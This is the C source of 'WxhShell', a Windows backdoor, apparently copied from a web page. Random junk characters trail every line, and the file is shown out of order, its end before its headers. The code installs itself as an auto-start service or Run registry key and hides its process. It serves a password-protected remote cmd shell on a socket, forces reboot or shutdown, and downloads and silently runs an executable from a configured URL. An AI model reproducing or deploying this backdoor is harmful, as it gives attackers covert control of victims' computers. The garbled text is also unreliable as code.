  // 关机 0LI:R'P+P[  
  case 'd': { R}~p1=D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'zYKG5A  
    if(Boot(SHUTDOWN)) &qR1fbw"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mou@G3  
    else { !%w#h0(b  
    closesocket(wsh); YA(_*h  
    ExitThread(0); $xx5+A%,  
    } oh%kuO T[  
    break; /JP]5M)   
    } >)5=6{x  
  // 获取shell _PTo !aJL  
  case 's': { +a'QHtg  
    CmdShell(wsh); Y# <38+Gd  
    closesocket(wsh); ,$;g'z!N  
    ExitThread(0); lo}[o0X  
    break; aFkxR\x 6%  
  } &uLxA w  
  // 退出 OBF3)L]  
  case 'x': { p)  x.Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {HgW9N(  
    CloseIt(wsh); iU)-YFO  
    break; p(2j7W-/  
    } >v4k_JX  
  // 离开 |=OO$z;q|  
  case 'q': { 9&'I?D&8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %}z/_QZ  
    closesocket(wsh); [V#"7O vl  
    WSACleanup(); v\9:G  
    exit(1); C:tA|<b|  
    break; 2>{_O?UN  
        } ,v"/3Ff{,  
  } Lh=~3  
  } TO\%F}m(  
* *?mZtF  
  // 提示信息 >40B Fxc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lYd#pNN  
} ^q"wd?((h  
  } T[$Sbz`  
'-jKv=D+  
  return; #Id.MLHxA_  
} ?Y"bt^4j  
=N,KVMxw  
// shell模块句柄 ?KxI|os  
int CmdShell(SOCKET sock) ArkFC  
{ [7Nn%eZC  
STARTUPINFO si; inBd.%Yr  
ZeroMemory(&si,sizeof(si)); PVO9KWv**  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (l 2 2p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?o0#h  
PROCESS_INFORMATION ProcessInfo; (4V1%0  
char cmdline[]="cmd"; X$JO<@x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dE5DH~ldV  
  return 0; *D1fSu!  
} h3;Ij'  
7YbI|~  
// 自身启动模式 V,qZF=}S  
int StartFromService(void) a@@!Eg A  
{ V>P\yr?  
typedef struct hoC}@8_  
{ DT&[W<oN  
  DWORD ExitStatus; ?xf59mY7  
  DWORD PebBaseAddress; U]sU b3  
  DWORD AffinityMask; w8%yX$<  
  DWORD BasePriority; 4x'^?0H@  
  ULONG UniqueProcessId; hBsjO3n  
  ULONG InheritedFromUniqueProcessId; )EO/P+&  
}   PROCESS_BASIC_INFORMATION; dh/:H/k kR  
:0T]p"y4  
PROCNTQSIP NtQueryInformationProcess; K! /E0G&  
u2<:mu[|P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; whKr3)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d$rJW m5H  
HXU"]s2Z  
  HANDLE             hProcess; jTw s0=F*  
  PROCESS_BASIC_INFORMATION pbi; iy tSC  
z!Kadqns  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~s^&*KaA  
  if(NULL == hInst ) return 0; @ x*#7Y  
! # tRl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n E-=7S L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jZv8X 5i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #bu`W!p}  
&s/aJgJhp  
  if (!NtQueryInformationProcess) return 0; -I=}SZ  
kq%`9,XE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rvE!Q=y~  
  if(!hProcess) return 0; hQGZrZK#  
<Mc:Cg8>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f| N(~  
ip5s'S~  
  CloseHandle(hProcess); =r0!-[XCa  
SgXXitg9+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,A6*EJ\w   
if(hProcess==NULL) return 0; `MTOe 1  
 7/7A  
HMODULE hMod; OD1ns  
char procName[255]; 1}jE?{V*  
unsigned long cbNeeded; O1#rCFC|y  
D"x~bs?V\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RM<\bZPc  
!;\-V}V  
  CloseHandle(hProcess); j|aT`UH03  
c7rYG]  
if(strstr(procName,"services")) return 1; // 以服务启动 |e< U%v  
|9\Lv $VJ  
  return 0; // 注册表启动 *Mp<4B  
} 9q8 rf\&  
V)(pe #P  
// 主模块 !m(6/*PAl  
int StartWxhshell(LPSTR lpCmdLine) ;%k%AXw  
{ |d`?wm-  
  SOCKET wsl; .`h+fqa  
BOOL val=TRUE; #&8 Opo(  
  int port=0; i'5bPW  
  struct sockaddr_in door; Ow^%n(Ezh  
b5)>h  
  if(wscfg.ws_autoins) Install(); 73<iK]*c  
?=4t~\g?  
port=atoi(lpCmdLine); sN?:9J8  
eqf~5/Z  
if(port<=0) port=wscfg.ws_port; ud#8`/!mq  
<%Rr-,  
  WSADATA data; *xjIl<`pK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v*^2[pf  
9(PFd%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hWW<]qzA,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CKR9APkv  
  door.sin_family = AF_INET; dk]ro~ [  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iLI]aZ   
  door.sin_port = htons(port); uA,{C%?  
>WEg8'#O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PJ.jgN(r  
closesocket(wsl); d!X?R}  
return 1; KWH  
} |V7a26h  
?d0Dfqh_  
  if(listen(wsl,2) == INVALID_SOCKET) { lyeoSd1AN  
closesocket(wsl); "|%fA E  
return 1; 18HHEW{  
} fh 3 6  
  Wxhshell(wsl); %jf gncW  
  WSACleanup(); Yt'o#"R)  
#lC{R^SL  
return 0; eC39C2q\  
.KSGma6]  
} &Os Ritj  
}.vy|^X  
// 以NT服务方式启动 q'r3a+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6;*(6$;  
{ D-!%L<<  
DWORD   status = 0; T{M:)}V  
  DWORD   specificError = 0xfffffff; c 1GP3  
Jp#cFUa t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HXQ rtJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DIAP2LR ?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rY= #^S  
  serviceStatus.dwWin32ExitCode     = 0; c%!wKoD  
  serviceStatus.dwServiceSpecificExitCode = 0; BSf"'0I&  
  serviceStatus.dwCheckPoint       = 0; . gJKr  
  serviceStatus.dwWaitHint       = 0; l:"*]m7o_  
2Qj)@&zKe#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I2T2'_I  
  if (hServiceStatusHandle==0) return; {;/o4[jlg  
g-}sVvM  
status = GetLastError(); Zv\b`Cf}  
  if (status!=NO_ERROR) -*2X YTe  
{ AlxS?f2w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uSJP"Lw  
    serviceStatus.dwCheckPoint       = 0; [  _$$P*  
    serviceStatus.dwWaitHint       = 0; mg(56)  
    serviceStatus.dwWin32ExitCode     = status; U'G`Q0n  
    serviceStatus.dwServiceSpecificExitCode = specificError; bYc qscW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "-?Y UY`  
    return; c,wU?8Nc|$  
  } ;I'/.gW;{  
@k,(i=**  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %5gJ6>@6Z  
  serviceStatus.dwCheckPoint       = 0; #^ #i]{g  
  serviceStatus.dwWaitHint       = 0; B;r$( 'UZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y9hZ2iT  
} `qz5rPyZ  
:nUsC+oBS  
// 处理NT服务事件,比如:启动、停止 _'U?!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I "2FTGA  
{ Kj 8 W  
switch(fdwControl) l)s+"C#  
{ 5I,X#}K[  
case SERVICE_CONTROL_STOP: Dt.Wb&V_w  
  serviceStatus.dwWin32ExitCode = 0; 2v1&%x:y#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qu_T&  
  serviceStatus.dwCheckPoint   = 0; #>B1$(@  
  serviceStatus.dwWaitHint     = 0; yZ$;O0f&&  
  { Zr;=p"cXr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `&zobbwq  
  } KBe {  
  return; H> iZVE  
case SERVICE_CONTROL_PAUSE: s'Gy+h.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SVh4)}.x  
  break; 5q`)jd!*)  
case SERVICE_CONTROL_CONTINUE:  7`@?3?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ki6.'#%7  
  break; .@-]A   
case SERVICE_CONTROL_INTERROGATE: [F[<2{FQF  
  break; K0=E4>z,`q  
}; "mDrJTWa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1/+r?F 3  
} F5[ITK]A4  
an[~%vxw}  
// 标准应用程序主函数 +/86w59  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vcU\xk")  
{ Bl\kU8O-  
4$GRCq5N;  
// 获取操作系统版本 }QW~.>`  
OsIsNt=GetOsVer(); !>Y\&zA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z*)Y:tk)b  
!&jgcw/E  
  // 从命令行安装 Lj-&TO}OZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~.`r(  
:wmf{c  
  // 下载执行文件 OVSq8?L  
if(wscfg.ws_downexe) { T4Gw\Z%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R&_\&:4f  
  WinExec(wscfg.ws_filenam,SW_HIDE); cYy @  
} LNxE-Dp  
'!h0![OH  
if(!OsIsNt) { AaC1 ||?R  
// 如果时win9x,隐藏进程并且设置为注册表启动 D4]B>  
HideProc(); T1!Gr!=  
StartWxhshell(lpCmdLine); jTUf4&b-  
} aa%&&  
else UMi`u6#  
  if(StartFromService()) (Cd{#j<  
  // 以服务方式启动 jy@i(@Z  
  StartServiceCtrlDispatcher(DispatchTable); "mK i$FV  
else [67E5rk-  
  // 普通方式启动 rjQhU%zv  
  StartWxhshell(lpCmdLine); bKJ7vXC05  
Dzjt|U0ru9  
return 0; 4'hcHdL9   
} c ^bk:=uj  
<eFAI}=s  
"zIq)PY  
S{(p<%)[  
=========================================== >aC\_Mc  
?(ls<&s{w  
V52C,]qQH  
S O:V|Tfj  
n$|c{2]=  
>"<k8wn  
" /b:t;0G  
&<|-> *v  
#include <stdio.h> u6Qf*_-K  
#include <string.h> TFYTvUn  
#include <windows.h> "3i80R\w`F  
#include <winsock2.h> l*\~ew   
#include <winsvc.h> t-7U1B}=<C  
#include <urlmon.h> {29S`-|P  
eBC%2TF  
#pragma comment (lib, "Ws2_32.lib") ^g-t#O lD?  
#pragma comment (lib, "urlmon.lib") vuo'"^ =p0  
y-\A@jJC5  
#define MAX_USER   100 // 最大客户端连接数 sId(PT^  
#define BUF_SOCK   200 // sock buffer "ryk\}*<  
#define KEY_BUFF   255 // 输入 buffer =GKS;d#/  
:IR9=nhS]  
#define REBOOT     0   // 重启 KW|\)83$  
#define SHUTDOWN   1   // 关机 *fH_lG%  
ImV]}M~_  
#define DEF_PORT   5000 // 监听端口 Vl 19Md  
.Y(lB=pV  
#define REG_LEN     16   // 注册表键长度 <{cNgKd9  
#define SVC_LEN     80   // NT服务名长度 7{An@hNh  
%`?;V;{=  
// 从dll定义API M,t*nG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FJf~vAQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &`yOIX-H_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W[>iJJwz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H\| ]!8w5Z  
\/*Nf?;  
// wxhshell配置信息 {;&B^uz ]  
struct WSCFG { k]Alp;hVd  
  int ws_port;         // 监听端口 ) Ab6!"'  
  char ws_passstr[REG_LEN]; // 口令 Ki/'Ic1  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7Y32p'  
  char ws_regname[REG_LEN]; // 注册表键名 )>y k-  
  char ws_svcname[REG_LEN]; // 服务名 P1i*u0a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $Ei o$TI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;Rhb@]X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w!WRa8C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no os1?6 z~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;NH~9# t:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }qiF^D}  
SLtSqG7~  
}; \T`["<  
pd4cg?K  
// default Wxhshell configuration I(]BMMj  
struct WSCFG wscfg={DEF_PORT, SPkKiEdM  
    "xuhuanlingzhe", #M5_em4kN  
    1, Q PFeBl  
    "Wxhshell", iW|s|1mh3  
    "Wxhshell", gEv->pc  
            "WxhShell Service", Mlv<r=E  
    "Wrsky Windows CmdShell Service", *O@sh  
    "Please Input Your Password: ", >[ug zJ  
  1, Ys-Keyg  
  "http://www.wrsky.com/wxhshell.exe", nW4Vct  
  "Wxhshell.exe" {ITv&5?>  
    }; ,0!uem}1i  
A7k'K4  
// 消息定义模块 fokwW}>B[f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E'5Ajtw;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Yd' H+r5b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j$@?62)6  
char *msg_ws_ext="\n\rExit."; ]7a;jNQu  
char *msg_ws_end="\n\rQuit."; c[SU5 66y  
char *msg_ws_boot="\n\rReboot..."; 3p=vz'  
char *msg_ws_poff="\n\rShutdown..."; '#v71,  
char *msg_ws_down="\n\rSave to "; Bvz62?  
tbq|,"  
char *msg_ws_err="\n\rErr!"; /7bw: h;  
char *msg_ws_ok="\n\rOK!"; u(W^Nou/+  
Kw)K A^KF  
char ExeFile[MAX_PATH];  ]}Pl%.  
int nUser = 0; ezp<@'0ZT  
HANDLE handles[MAX_USER]; ~}BJ0P(VMc  
int OsIsNt; wGPotPdE2  
eY T8$  
SERVICE_STATUS       serviceStatus; W. ^Ei\w/t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j"5Pe  
OCCEL9d  
// 函数声明 Y2<dM/b/  
int Install(void); ;Xqn-R  
int Uninstall(void); (vKI1^,  
int DownloadFile(char *sURL, SOCKET wsh); W9dYljnZ8i  
int Boot(int flag); *ksb?|<Ot  
void HideProc(void); N[pZIH5ho=  
int GetOsVer(void); sGSsUO:@j;  
int Wxhshell(SOCKET wsl); 3 4SA~5  
void TalkWithClient(void *cs); ?0{yq>fTu  
int CmdShell(SOCKET sock); 8x9Rm  
int StartFromService(void); 2}w#3K  
int StartWxhshell(LPSTR lpCmdLine); 6 *Zj]is  
gQy~kctQ#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D}w<84qX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x=.tiM{#  
!i^]UN   
// 数据结构和表定义 Ox^:)ii  
SERVICE_TABLE_ENTRY DispatchTable[] = 2JVxzj<~`  
{ ,;%yf?  
{wscfg.ws_svcname, NTServiceMain}, ),=@q+{E{  
{NULL, NULL} g5y;?fqJ  
}; fD{II+T  
7:TO\0]2n  
// 自我安装 FPF6H puV  
int Install(void) Vv8_\^g]  
{ J*j5#V];  
  char svExeFile[MAX_PATH]; If;R?j0;Q  
  HKEY key; DR@1z9 a  
  strcpy(svExeFile,ExeFile); OEnDsIhq  
@u/H8\.l  
// 如果是win9x系统,修改注册表设为自启动 cD2+hp|9  
if(!OsIsNt) { U'y,YtF@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qaG#;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hL!QLiF:  
  RegCloseKey(key); \gItZ}+c4}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vZu~LW@1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VYaSB?`/  
  RegCloseKey(key); Q`A6(y/s?  
  return 0; Ly7!R$X  
    } T6Ctf#  
  } , ECLqs%  
} (#|{%4g@>  
else { -W c~B3E|  
\G>ZkgU  
// 如果是NT以上系统,安装为系统服务 Gf0,RH+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5wT>N46UX  
if (schSCManager!=0) x6;j<m5Mjx  
{ 3F+Jdr'  
  SC_HANDLE schService = CreateService _1L(7|^~y[  
  ( zN{JJ3-  
  schSCManager, KKEN'-3  
  wscfg.ws_svcname, DG[%Nhle  
  wscfg.ws_svcdisp, \:v$ZEDJ>  
  SERVICE_ALL_ACCESS, uP@\#/4u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lw[e *q{s.  
  SERVICE_AUTO_START, (UYF%MA}"  
  SERVICE_ERROR_NORMAL, hat>kXm2K  
  svExeFile, 1ibnx2^YB  
  NULL, g5S?nHS}  
  NULL, y3eHF^K+$  
  NULL, S1J<9xqSQ8  
  NULL, A}5fCx.{  
  NULL T9syo/(  
  ); 8K{[2O7i)  
  if (schService!=0) e ZLMP  
  { ~n?>[88"  
  CloseServiceHandle(schService); ~AZWds(,N  
  CloseServiceHandle(schSCManager); SDYv(^ f ,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); > cN~U3  
  strcat(svExeFile,wscfg.ws_svcname); A8DFm{})c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u~1o(Zn =  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =IjQ40W  
  RegCloseKey(key); ^qvZ XS  
  return 0; =f1B,%7G+5  
    } 8VQ 24r  
  } {9LWUCpsf  
  CloseServiceHandle(schSCManager); 4 !#a3=_  
} ',I0ih#Ls  
} +&|S'7&{  
)G1P^WV4  
return 1; 1HT_  
} 0N:XIGFa  
ArK]0$T   
// 自我卸载 fc_2D|  
int Uninstall(void) Ts$@s^S]  
{ \qh *E#j  
  HKEY key; M@Q3M(z  
I97yt[,Yy  
if(!OsIsNt) { :G5uocVk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { od' /%  
  RegDeleteValue(key,wscfg.ws_regname); LiQgR 6j  
  RegCloseKey(key); 3AcD,,M>>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jc6R{C  
  RegDeleteValue(key,wscfg.ws_regname); MrRaU x6z  
  RegCloseKey(key); 790-)\:CY  
  return 0; % ps$qB'  
  } O1&b]C#  
} Dnf*7)X  
} 6uPcXd:8ZR  
else { rjx6Djo>  
DL'iS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aGZi9O7G}  
if (schSCManager!=0) \55VqGyxu9  
{ IuF_M<d,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tCG76LH  
  if (schService!=0) 2i{cQ96  
  { U?a6D:~G  
  if(DeleteService(schService)!=0) { b75 $?_+  
  CloseServiceHandle(schService); u+H ; @  
  CloseServiceHandle(schSCManager); &fa5laJb  
  return 0; _5 ^I.5Z3  
  } e=vsuqGT  
  CloseServiceHandle(schService); l:#-d.z#  
  } ?<Wb@6kh`  
  CloseServiceHandle(schSCManager); Z/;Xl~  
} uj>WgU  
} SP*fv`  
o2z]dTJ}o  
return 1; EtbnE*S  
} zmj"fN{\  
j>uj=B@  
// 从指定url下载文件 (+uj1z^  
int DownloadFile(char *sURL, SOCKET wsh) RlT3Iz;  
{ X\$ 0  
  HRESULT hr; BrRL7xX  
char seps[]= "/"; E%oY7.~-  
char *token; /sM~U q?  
char *file; ~x#w<0e>  
char myURL[MAX_PATH]; GdV1^`M6  
char myFILE[MAX_PATH]; _Z5Mw+=19  
/~*_x=p:  
strcpy(myURL,sURL); cdqB,]"  
  token=strtok(myURL,seps); akw,P$i  
  while(token!=NULL) qTZFPfyU  
  { s,#>m*Rh  
    file=token; m]i @ +C  
  token=strtok(NULL,seps); `.s({/|[  
  } gs!(;N\j|  
,h"-  
GetCurrentDirectory(MAX_PATH,myFILE); 4DZ-bt'  
strcat(myFILE, "\\"); s3 7'&K  
strcat(myFILE, file); ()&~@1U  
  send(wsh,myFILE,strlen(myFILE),0); X7k.zlH7T  
send(wsh,"...",3,0); gbVdOm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >pUtwIP  
  if(hr==S_OK) |rmg#;/D  
return 0; PkI:*\R  
else quY:pqG38q  
return 1; vfVj=DYj  
F:x [  
} #o1=:PQaC  
H":oNpfb  
// 系统电源模块 %^RN#_ro(3  
int Boot(int flag) mI74x3 [  
{ vWAL^?HUP  
  HANDLE hToken; lNSLs"x^  
  TOKEN_PRIVILEGES tkp; U&O: _>~  
 *6q5S4 r  
  if(OsIsNt) { ]U"94S U:)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lg^Z*&(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {<<U^<6}  
    tkp.PrivilegeCount = 1; wI(M^8F_Mf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a+n0|CvF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m*JaXa  
if(flag==REBOOT) { 2}8v(%s p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <)1qt 9  
  return 0; !qG7V:6  
} &jmRA';sK  
else { Bz,?{o6s)Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wmTb97o  
  return 0; Mo^ od<  
} ~@}Bi@*  
  } EN/,5<S<,[  
  else { e%b6(%  
if(flag==REBOOT) { YPxM<Gfa8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1y}Y9mlD.  
  return 0; A}l3cP; `#  
} hIT+gnhh  
else { /'/Xvm3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @{2 5xTt  
  return 0; 7'Mm205\  
} RCpR3iC2  
} *WuID2cOI  
`EaLGzw  
return 1; 7<*yS310  
} H*}y^ )x  
o2F)%TDY  
// win9x进程隐藏模块 uLV#SQ=bZN  
void HideProc(void) A6thXs2  
{ tS6qWtE  
(JOgy .5C~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a^I\ /&aw'  
  if ( hKernel != NULL ) F'21jy&  
  { ~nay"g:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .:F%_dS D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9P+-#B  
    FreeLibrary(hKernel); @J/K-.r  
  } cPlZXf  
glDu2a,Q  
return; fumm<:<CLO  
} [D I+~F  
C&(N I  
// 获取操作系统版本 Wi)_H$KII  
int GetOsVer(void) gtppv6<Mj4  
{ Hquc o  
  OSVERSIONINFO winfo; Li4zTR|U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X aMJDa|M  
  GetVersionEx(&winfo); cQ R]le %(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N2;B-UF 7  
  return 1; vg32y /l]S  
  else T4Pgbop  
  return 0; n-tgX?1'  
} ?^al9D[:lz  
*XIF)Q=<>  
// 客户端句柄模块 +nFu|qM}  
int Wxhshell(SOCKET wsl) fHx*e'eA  
{ n{ar gI8wF  
  SOCKET wsh; x??+~$}\*-  
  struct sockaddr_in client; Rl?_^dPx  
  DWORD myID; _@ qjV~%Sy  
OrY/`+Cog  
  while(nUser<MAX_USER) 2K/4Rf0;  
{ . YAT:;L  
  int nSize=sizeof(client); TNe l/   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8e1UmM[  
  if(wsh==INVALID_SOCKET) return 1; EE06h-ns  
qN9(S:_Px  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YYBDRR"  
if(handles[nUser]==0) NJWA3zz   
  closesocket(wsh); z]_wjYn Z  
else "o-z y'I  
  nUser++; dy%;W%  
  } 98IJu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KQ!8ks]  
SJn;{X>)q  
  return 0; /~%&vpF-L  
} On9A U:\  
}HYbS8'  
// 关闭 socket "c%0P"u  
void CloseIt(SOCKET wsh) Fo5FNNiID  
{ q376m-+  
closesocket(wsh); 5H<m$K4z  
nUser--; c_$=-Khk  
ExitThread(0); ?jv/TBZX4  
} NX*Q F+  
c<B/V0]  
// 客户端请求句柄 [Kg+^N% +  
void TalkWithClient(void *cs) /L g)i\R;  
{ ;#W2|'HD  
2j [=\K]  
  SOCKET wsh=(SOCKET)cs; c<:-T  
  char pwd[SVC_LEN]; )4e.k$X^  
  char cmd[KEY_BUFF]; Cn34b_Sbd  
char chr[1]; {T$9?`h~M  
int i,j; v!~fs)cdE|  
U`(ee*}o  
  while (nUser < MAX_USER) { 'x#~'v*  
G" qv z{*  
if(wscfg.ws_passstr) { ? =Z?6fw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %v M-mbX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XJ;57n-?  
  //ZeroMemory(pwd,KEY_BUFF); *a M=Z+  
      i=0; yLvDMPj  
  while(i<SVC_LEN) { ~g]Vw4pv  
z#wkiCRYm  
  // 设置超时 gD @){Ip  
  fd_set FdRead; AofKw  
  struct timeval TimeOut; Mk 6(UXY  
  FD_ZERO(&FdRead); ,]F,Uu_H7  
  FD_SET(wsh,&FdRead); Rsm^Z!sn  
  TimeOut.tv_sec=8; Jq-]7N%k/  
  TimeOut.tv_usec=0; 4SxX3Fw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~Fcm[eoC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6@5+m 0`u3  
q6luUx,@m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GR_-9}jQP  
  pwd=chr[0]; j_?FmX _  
  if(chr[0]==0xd || chr[0]==0xa) { m=:9+z  
  pwd=0; ?dg [:1R}  
  break; }j)e6>K])  
  } jvL[ JI,b  
  i++; ~TD0z AA&  
    } rglXs  
-uG +BraI  
  // 如果是非法用户,关闭 socket $7ZX]%<s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kVMg 1I@  
} O,f?YJ9S  
*L^,|   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {%H'z$|{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5|s\* bV`  
A?P_DA  
while(1) { !*N@ZL&X  
qR8Lh( "i  
  ZeroMemory(cmd,KEY_BUFF); O<?R)NH-P  
\Gvm9M  
      // 自动支持客户端 telnet标准   |/{=ww8|  
  j=0; Bj;'qB>3  
  while(j<KEY_BUFF) { ##>H&,Dp[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dR,fXQm  
  cmd[j]=chr[0]; Zb>?8  
  if(chr[0]==0xa || chr[0]==0xd) { (uE!+2C  
  cmd[j]=0; VY4yS*y  
  break; ?N9uu4  
  } Z@!+v 19^  
  j++; ?0SJfh  
    } YNF k  
\_f(M|  
  // 下载文件 ]N?kG`[  
  if(strstr(cmd,"http://")) { m;QMQeGz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); igPX#$0XU  
  if(DownloadFile(cmd,wsh)) rjYJs*#  
